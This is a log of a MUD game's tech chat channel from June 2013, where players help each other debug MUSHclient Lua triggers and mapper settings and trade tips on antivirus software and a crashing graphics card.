T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto buries his face in his hand and sighs, shaking his head.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: if you can't tell us how you want to reformat them, maybe you should rethink your idea :P
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: it doesent matter how im reformating them really all im doing is rearanging things abit but ill just work around it
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: *Yay!*  Go [Outlaw] Remarto!!!  Newchange cheers him on.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: how do i make an alias that makes me remove my hold item, wear portal, enter, remove and return to bag?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: without making new aliasses everytime
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Kagaho Tech: not sure what you mean
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Kagaho Tech: you'd make an alias called whatever you like.. and then put each of those on their own lines
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vuron Tech: make an alias that takes a parameter for the portal you are trying to use
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Kagaho Tech: also.. you dont need to remove your hold item.. only wear the portal
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vuron Tech: keep your wear portal and bag in a variable and refer to those in the alias
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vexthorne Tech: Why can I not get mapper to stop using an exit even when I lock it with a level of 1000?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Faylen Tech: Is there a custom exit in there somewhere overriding it?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vexthorne Tech: I have a cexit to open the door and go east.  WOuld that cause it?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Faylen Tech: If the exit you're trying to lock is east, perhaps? Not totally sure as I've only tried locking an exit once, and it worked fine, but that's the first thing I thought of
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: Vexthorne nods at Faylen.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vexthorne Tech: I guess I'll disable th at cexit and see if it stops using it, thanks :)
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vexthorne Tech: THat seems to have done it, thanks a lot :)
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Faylen Tech: No prob
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: can anyone help me i seem to behaving trouble with this function http://pastebin.com/LSNRrMDn gives me a whole heap of errors when trying to use it
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: anyone?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What errors?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Well, for one... you have 'if then do end" , remove the do on line 6
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: do is only used in loops, for if it's just 'if then else end" or "if then end"
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: sorry thats a habbit from when i learnt some code at school.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: [string "Trigger: Roster7Trig"]:2: <name> or '...' expected near '"Enlisted           "'
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: any ideas?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That's the error you get after removing the extranous 'do'?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yes
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: and before, the do doesent make a difference aslong as the do was ended properly
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Is Trim() a custom function?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That's the line it's failing on.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: it removes any before and after spaces
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: then i do the adding of spaces at the end 
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Right, that functions the one that's broken, so that's what needs debugged.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: so if i removed it it should work?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: try doing a string:gsub() instead of Trim()
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah i never figured that one out
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: data.gsub("%s%w+", "")
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: subbed = data.gsub("%w%s+", "") should return "hi" if data contained "hi                  "
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i was ust gonna move the trim fuction to where i actually needed it but thanks
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay i implimented your fix and i got the same [string "Trigger: Roster7Trig"]:2: <name> or '...' expected near '"General            "' error
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: is that function called directly by the trigger?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is it supposed to be subbed = data.gsub("%w%s+", "") or subbed = data.gsub(subbed, "%w%s+" , "")
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yes
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: function is in scrypt file
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: your parameters are wrong then."function equalizer(name, line, wildcards)"
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: No, no no. Not what I asked.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The trigger/alias that is actually firing, does it have "equalizer" in the "scrpt" field at the bottom of the alias/trigger.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well no
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: or are you calling it somewhere else with equalizer(foo, bar, foobar)?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: its just a function didnt know i had to call it specificly
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im calling it in the send field, its sending to script
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I'd need to see your whole trigger/alias then. If you go to the screen, highlight it, and click the 'copy' button, you can paste the entire xml of it into pastebin
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i know im not completly new to this
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Don't have to be knew to it to have never needed to use that functionality before :P I was just being thorough.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i was tecahing others how to do that :P
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: but pasting not coppying
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: http://pastebin.com/YikCm2Ah
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: also,  fairly sure "string.len(var)" should either be "string:len(var)" or "var.len()"
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Er, you can do string.len(var)...
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: How so? That should pass the first and second parameter as String reference object...
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Lua?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i got it from http://lua-users.org/wiki/StringLibraryTutorial
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah lua again
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: heh, well if it works it works. But based on the API declaration, it shouldn't :P
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Trying to get the length of anything, you use string.len, though I'm wondering about var:len().
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well the shortcut version was s:len()
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: but then im only after the length of strings
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: oh dude...
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: In your trigger... remove the 'function' before calling equalizer with arguments
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: From: "function equalizer (rank, "%3", 13)", To: "equalizer (rank, "%3", 13)"
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto buries his face in his hand and sighs, shaking his head.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: wow now i feel stupid
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Sometimes it just takes a fresh pair of eyes :P
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i was looking for a . end ( ) { } [ ] , or /
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: had to be something obvious...
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Did that resolve it though?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ahh i was right var = data.gsub("%w%s+", "") isnt right it needed to be var = data.gsub(var, "%w%s+", "")
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: or just data:gsub()
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: wait, what data is housed in your 'data' variable and your 'var' variable? Because var = data.gsub(var, "%w%s+", "") shouldn't work out for you...
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: it'd be data:gsub("%w%s+", "") or string:gsub(data, "%w%s+" ,"")
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: either one didnt work i was getting ElitSoldie     from Elite Soldier
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: my trim fuction works fine
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Mye Tech: do you want to remove all spaces or just ones at the end (and/or beginning)?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: was the beginning and end which i can already do
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Mye Tech: try: blah = string.match(blah, "^%s*(.-)%s*$")
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i already got one
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: Trim(variable) found it ages ago
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Mye Tech: okay.. but you just said you got ElitSoldie instead of Elite Soldier, which means your substitution isn't working as intended
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: from doing cheez's ar = data.gsub(data, "%w%s+", "")
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto buries his face in his hand and sighs, shaking his head.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Mye Tech: then don't do that if your trim function was already working
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: look at channel history then please there is a reason i swapped
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Mye Tech: i was following the channel, which is why i'm confused now
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: do tech -h cheezburger
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Mye Tech: yes, you removed the call to Trim and replaced it with the gsub, now you're saying your results are not what is expected and i'm offering you a replacemenet for the gsub that should work
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: about 20-25th from the bottom
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Mye Tech: then you say your trim function was working fine, thus the confusion
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i already said i swapped back
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I had assumed he just swapped back :P
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto buries his face in his hand and sighs, shaking his head.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Mye Tech: so can you restate the issue right now
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im not completly stupid mye
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: issue == solved
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: We originally thought his Trim() function was the culprit, then we found the real issue, so I assumed he just went back to Trim() and had it working :P
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Mye Tech: so "either one didn't work.." was a statement and not a question, then, i suppose
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: please just stop mye as the issue is fixed
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Mye Tech: i'm just clarifying where my error was because i interpreted that as a question remarto
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: woot, 23gb free, most i've had in years
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: how i check room names on mapper?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: hover over?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: no i mean a list of room names and the area that its in
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: no i mean a list of room names and the area that its in
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: oops
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Grissom Tech: mapper find or mapper area <room name>
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Grissom Tech: mapper find <room name>
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: thanks
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: the java client on aardwolf.com is screwey
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Xaeris Tech: Jeeze - is it everything's wrong for kojiro today?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Hanslanda Tech: probably not any different than any other day, I suppose.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i got a quest, did a sw, and the window is frozen with only the last line returned visible
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Faylen Tech: Anyone happen to know if there's a plugin out there to help sort skins as you go around killing stuff? Google's turning up nothing, but I can't imagine after this long someone hasn't come up with something.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Hanslanda Tech: probably isn't one.  There is an inventory sorter, though.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vexthorne Tech: Is that inventory sorting plugin available somewhere?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Hanslanda Tech: probably.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Hanslanda Tech: think Madcatz wrote it.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Faylen Tech: I used to have a fairly simple trigger on my old client that would drop a skin if at least two things weren't added to it, then I'd sort what wasn't dropped manually. That's similar to what I'm looking for. I guess I could play around and figure it out here, but kinda pointless if someone somewhere has already done it.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vexthorne Tech: When using mapper walkto if I get interrupted mapper resume doesn't seem to continue back to where I need to go.  Is there some way around that?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tymas Tech: how do u put wait in script
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tymas Tech: wasn't it something like DoAfter
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: That's technically making a temporary timer to execute a script after a period of time- google DoAfterSpecial too :)
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: It's not really a wait mind you
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Radical Tech: Anyone have good knowledge on getting Search and Destroy and Mushclient to work together? Send me a tell I having very odd issues...
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Kagaho Tech: the wiki doesn't say much huh
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Wildkard Tech: working prety good here now
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Radical Tech: Mine just won't work period. Had to download GMCP.lau and Plugin to get them to even install then they still don't work. Seems like the Map part of the package dosen't work right.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Faylen Tech: I use it, but I didn't have any problem getting it installed. Is it installation or using it that you're having trouble with? And are you using the aard version of mushclient?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Kagaho Tech: use the aard client
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: I installed it without any problems using the aardclient
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Wildkard Tech: me also
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Wildkard Tech: i did have a problem at first ah wouldn't even work
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Wildkard Tech: but after I restarted the client it worked
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Radical Tech: well I am using Mushclient so you think that is causing the problem?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Faylen Tech: standard mushclient, or the aard version?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Wildkard Tech: it is designed for the aard mushclient
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Kagaho Tech: saying if you just download aard client..e verything is prepped
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Radical Tech: I will check...
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tynrael Tech: mine also didn't work until I exited out and restarted it for S&D
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Radical Tech: I am guessing I don't have the aard version I will try this.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Radical Tech: Thanks that was my problem!
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Wildkard Tech: cool
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vexthorne Tech: I am assuming it's not easy to make mapper use certain portals for campaigns and quests but not for GQs, correct?(non golden chaos portals)
T3/r7/2013-06-03.txt.gz:{chan ch=tech}VampireDude Tech: anyone know when the new unlock cell phone rules take effect?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Ontuct Tech: didn't they already
T3/r7/2013-06-03.txt.gz:{chan ch=tech}VampireDude Tech: i dont know.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: do u guys like avast or avg
T3/r7/2013-06-04.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: avast
T3/r7/2013-06-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: avast?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: doesnt it take up to much usage?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Digitalis Tech: used to be avg, then avast, now I just use defender
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Kagaho Tech: i just use mse
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: my computer feels slower after installing avast
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Kagaho Tech: don't use avast
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: mse defender ill check them out
T3/r7/2013-06-04.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: mine doesn't unless i run boot scan and still not that big a difference 
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Kagaho Tech: yeah just use mse and spybot snd
T3/r7/2013-06-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: whats avast?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: mse got it
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Kagaho Tech: avast is software that used to be decent =P
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Digitalis Tech: antivirus
T3/r7/2013-06-04.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: i also use avast
T3/r7/2013-06-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: nno what oes avast stand for
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: takes up so much resource
T3/r7/2013-06-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i got that it was anti-virus
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Digitalis Tech: I use mse defender, and occasionally scan with malwarebytes and superantispyware
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Digitalis Tech: rarely come up with anything bad....
T3/r7/2013-06-04.txt.gz:{chan ch=tech}VampireDude Tech: if i want to use dd to make a file roughly 70gigabytes big... is there a better way than just using bs and count?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Jopari Tech: is there a way to target a mob genericly?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}ElFeneri Tech: nope, except using aoe
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Jopari Tech: so ya can't even target the first guy on a list of mobs?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}ElFeneri Tech: that's right
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Frolo Tech: and this would only be useful for botting which is illegal here anyways
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Jopari Tech: so you can't use a combat alias to begin a fight.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Frolo Tech: if you wanna kill a harpy type 'k h' no need for an alias in that^^ 
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Jopari Tech: alright thanks.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Frolo Tech: you can even mudside alias k to backstab or your preferred combat skill or spell
T3/r7/2013-06-04.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: whats the syntax for making a gq trigger?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You are going to need to be a LOT more specific there...
T3/r7/2013-06-04.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: well when a gq is in range it will trigger a sound
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So are you just after the string (which Strazor mentioned on answer channel) or do you need to know how to make a trigger in general?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Six-String Strazor Tech: Ooops, sorry about that.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}FuFu Tech: is there any command to rename the alias in mushclient? or I need to write a short script?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Jopari Tech: how do you make a trigger?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Six-String Strazor Tech: In mushclient Jopari?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Depends on the client - using the official aardmush, Game->configure->triggers is the window you want
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Jopari Tech: how do you write it?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: As for the details, I recommend this youtube tutorial from the creator of mushclient - http://www.youtube.com/watch?v=tGrA-Q7uqC0
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Jopari Tech: thanks
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Six-String Strazor Tech: And you can also feast your eyes on this.  http://www.gammon.com.au/mushclient/funwithtriggers.htm
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Newchange Tech: Does mapper backup save cexits
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: it saves the whole db
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Newchange Tech: that's interesting, thanks
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Grissom Tech: ok can anybody tell me or help me to stop my character falling through my terrain in Unity 4.AND before anyone says that is too vague or something i am just messing around with the program have no real idea what i am doing except that i can create a terrain and know how to change the objects position (in other words totally clueless) thank you very much.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tynrael Tech: I assume the default mesh collider is still on the terrain and your character with its collider starts above the terrain when you start playing?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Grissom Tech: not about so sure the characters collider the terrain looks on
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tigernuts Tech: anyone had the misfortune to work with OpenLayers api?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Faylen Tech: Anyone have tips on making hotkeys in a mush plugin? Using lua if that helps. I see how to do aliases/triggers from looking at other plugins but I don't think any of the ones I have that use lua are  using hotkeys and a google search just brought up how to do it through the menus
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: google mush accelerators
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Faylen Tech: aha, I'll do that. thanks
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Faylen Tech: I'm having a really hard time getting an accelerator to work in a mush plugin. I'm trying to get the accelerator to call a function, but if I put the function into the second argument directly it complains that it wants a string. If I put quotes around it, it complains that it wants a ) but the parens are equal, and if I put the script escape sequence in there, three backslashes, it complains about invalid escape sequence. Any ideas?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Quadrapus Tech: Anyone know if there is a way to capture spell/skill affects via GMCP or something like that?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: anyone know much about video cards?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Hanslanda Tech: you would probably be better served by taking a trip to your nearest DIY computer shop.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Vost Tech: the computer shop guys don't much about video cards
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Hanslanda Tech: if you really wanna talk about it, though, just ask your questions
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Vost Tech: they just try to sell you an expensive system
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: well my computer freezes for like 30 seconds then recovers then it says grapics driver failed then recovered...
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: i got the latest drivers..
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Vost Tech: overclocked?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: na all stock dont have the cooling and fans for overclocking
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tynrael Tech: right click desktop, Nvidia Control Panel, 3d Settings, change power management mode from Adaptive to "Prefer Maximum Performance"
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Vost Tech: PSU powerful enough?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: psu?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Hanslanda Tech: power supply
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: yeah
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: its custom built
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Vost Tech: how old is it?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: i did that power thing.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: its new
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: Vost goes, "Hmmmm."
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: i7 3.4 ghz sand , 8gig ram , nvidia gtx 560
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: i did a fresh x64 load on it yesterday
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tynrael Tech: I experience that issue everytime I do a clean diver install and don't change the power settings, there are hundreds of posts on the net with people having the same issue
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: i did upgrade bios >< then the problem came along
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tynrael Tech: i've also had cards in the past that just didn't perform and got that stopped responding error, a 5% underclock fixed it
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Hanslanda Tech: are you sure your computer can actually handle the graphics card?  Just because it fits in the slot doesn't mean it's compatible, ie, the card is too powerful and your heat-management is too weak.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: i dont know if it can handle it ><
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: yeah i checked the website they all say do a driver sweep then reinstall but i only get it the error when theres alot of load
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Hanslanda Tech: probably a heat issue, then.  Modern electronics are designed to shut down when heat is soon to be a problem, thereby avoiding any heat-related damage.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: ahh ok well probably need to give the fans a clean
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: been a while
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tynrael Tech: you can use furmark to stress your GPU and see how it manages the temp and load, if you feel like tweaking clock/memory settings I'd run Heaven Benchmark on max settings- if it fails downclock a little and try again
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Hanslanda Tech: yeah, dust is bad for heat management.  If a simple cleaning doesn't result in at least some improvement (assuming sufficient levels of dirtiness), you might need more fans.  More fans might require more space, so you're looking at either custom modding or a new/bigger case.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: >< dont understand man the problem wasnt there before i loaded x64 i was using x86 
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: dunno ill do something just wanted some advice cheers
